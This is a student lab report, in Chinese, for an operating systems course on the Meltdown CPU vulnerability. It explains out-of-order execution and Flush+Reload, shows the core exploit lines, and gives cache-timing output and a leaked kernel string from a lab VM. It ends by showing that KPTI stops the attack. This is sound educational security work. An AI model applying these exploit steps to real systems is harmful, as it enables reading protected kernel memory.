作業系統概論 HW4 Report

0716032 林佑鑫

Simply describe how Meltdown exploits OOO execution/Speculative Execution/Flush + Reload to launch attacks :

因為不同指令所需的執行時間長度不一樣，當前幾條 CPU 指令尚未執行完成以前，提前完成的 CPU 指令就稱為 Out-of-order Execution。或是跟在 CPU 的 Branch 指令後面的數個指令，在 Pipeline 中會因為 Branch 指令耗時較長，導致後續幾個指令會先執行後將結果存入 Reorder Buffer，並等待 Branch 指令完成，這種情況則是 Speculative Execution。在這兩種 Execution 中，Meltdown 透過在引起 Exception Handler 前，CPU 先完成從其他程式的記憶體空間載入資料到 Cache 的 Out-of-order Execution，當 Out-of-order Execution 因 Exception Handler 被中斷後，雖然 Reorder Buffer 會清空 Out-of-order Execution 所使用的 Registers，但是載入的資料仍存在 Cache 中，再透過 Flush + Reload 就能從最後一層 Cache 中取得資料。

Task 1: run toy.o

```
1. int data = 34;
2. char kernel_data = *(char*)kernel_addr; /*exception occurred because user is not allowed to read kernel data*/
3. probe_array[data*4096+DELTA] +=1;
```

第三行會 load array 到 cache，這時就算 exception 產生且 state 被 roll back 、CPU cache 裡還是會存著那些資料，這時再去拿 probe_array 的資料，若取得的速度很快就是從 cache 裡拿到的資料，也就是拿到 kernel memory 的資料。

```
user@ubuntu:~/Desktop/os_hw4$ ./toy.o ffffffffc0895168 | sort -nk 7
time of accessing elements in probe_array[0*4096]: 54
time of accessing elements in probe_array[34*4096]: 86
time of accessing elements in probe_array[252*4096]: 216
time of accessing elements in probe_array[170*4096]: 218
time of accessing elements in probe_array[188*4096]: 220
time of accessing elements in probe_array[211*4096]: 220
time of accessing elements in probe_array[217*4096]: 220
time of accessing elements in probe_array[168*4096]: 222
time of accessing elements in probe_array[191*4096]: 222
time of accessing elements in probe_array[215*4096]: 222
time of accessing elements in probe_array[225*4096]: 222
time of accessing elements in probe_array[241*4096]: 222
time of accessing elements in probe_array[185*4096]: 224
time of accessing elements in probe_array[214*4096]: 224
time of accessing elements in probe_array[231*4096]: 224
time of accessing elements in probe_array[83*4096]: 224
time of accessing elements in probe_array[181*4096]: 226
time of accessing elements in probe_array[202*4096]: 226
time of accessing elements in probe_array[224*4096]: 226
time of accessing elements in probe_array[157*4096]: 228
time of accessing elements in probe_array[159*4096]: 230
time of accessing elements in probe_array[201*4096]: 232
time of accessing elements in probe_array[10*4096]: 234
time of accessing elements in probe_array[198*4096]: 234
time of accessing elements in probe_array[223*4096]: 234
time of accessing elements in probe_array[139*4096]: 236
time of accessing elements in probe_array[143*4096]: 236
time of accessing elements in probe_array[193*4096]: 236
time of accessing elements in probe_array[35*4096]: 236
time of accessing elements in probe_array[4*4096]: 236
time of accessing elements in probe_array[86*4096]: 236
time of accessing elements in probe_array[146*4096]: 238
time of accessing elements in probe_array[153*4096]: 238
time of accessing elements in probe_array[187*4096]: 238
time of accessing elements in probe_array[195*4096]: 238
time of accessing elements in probe_array[204*4096]: 238
time of accessing elements in probe_array[219*4096]: 238
time of accessing elements in probe_array[147*4096]: 240
time of accessing elements in probe_array[174*4096]: 240
time of accessing elements in probe_array[183*4096]: 240
```

最上面兩 row，明顯所需時間小於其他 row，也就是那兩行很可能是拿到 cache 裡的資料，最有可能拿到 kernel memory 的資料。

Task 2: run Meltdown_attack

Yes。

（觀察 Task1 的結果發現小於 100 的最有可能從 cache 裡得到資料，所以設定時間為 100）

```
user@ubuntu:~/Desktop/os_hw4$ ./Meltdown_attack ffffffffc0895168 7 100
The secret value at ffffffffc0895168 is 83 S 932/1000
The secret value at ffffffffc0895169 is 85 U 655/1000
The secret value at ffffffffc089516a is 67 C 906/1000
The secret value at ffffffffc089516b is 67 C 920/1000
The secret value at ffffffffc089516c is 69 E 886/1000
The secret value at ffffffffc089516d is 101 e 822/1000
The secret value at ffffffffc089516e is 100 d 949/1000
```

Task 3: Software Patch of Meltdown

```
user@ubuntu:~/Desktop/os_hw4$ ./Meltdown_attack ffffffffc04a1168 7 100
The secret value at ffffffffc04a1168 is 0  4/1000
The secret value at ffffffffc04a1169 is 0  6/1000
The secret value at ffffffffc04a116a is 0  4/1000
The secret value at ffffffffc04a116b is 0  3/1000
The secret value at ffffffffc04a116c is 0  3/1000
The secret value at ffffffffc04a116d is 0  3/1000
The secret value at ffffffffc04a116e is 0  8/1000
```

將 nopti 刪除後，會開啟 kpti，會完全分開 user space 的 page table 與 kernel space 的 page table 來防止 Meltdown 因為他們存的地方是完全不同的，所以無法取得 cache 裡的資料。所以 Meltdown_attack 無法像 Task2 那樣成功。

What do you learn from this homework? / Conclusion:

這次作業學到了課堂上沒教到的內容 Meltdown，雖然課堂沒教，但內容其實就是課程的延伸，是 user space/kernel space 與 page table 內容的延伸，而且也算是蠻新的內容，查了一下近兩年 Intel 的新聞，有種課堂學到的東西靈活運用在日常生活的感覺。算是獲益良多。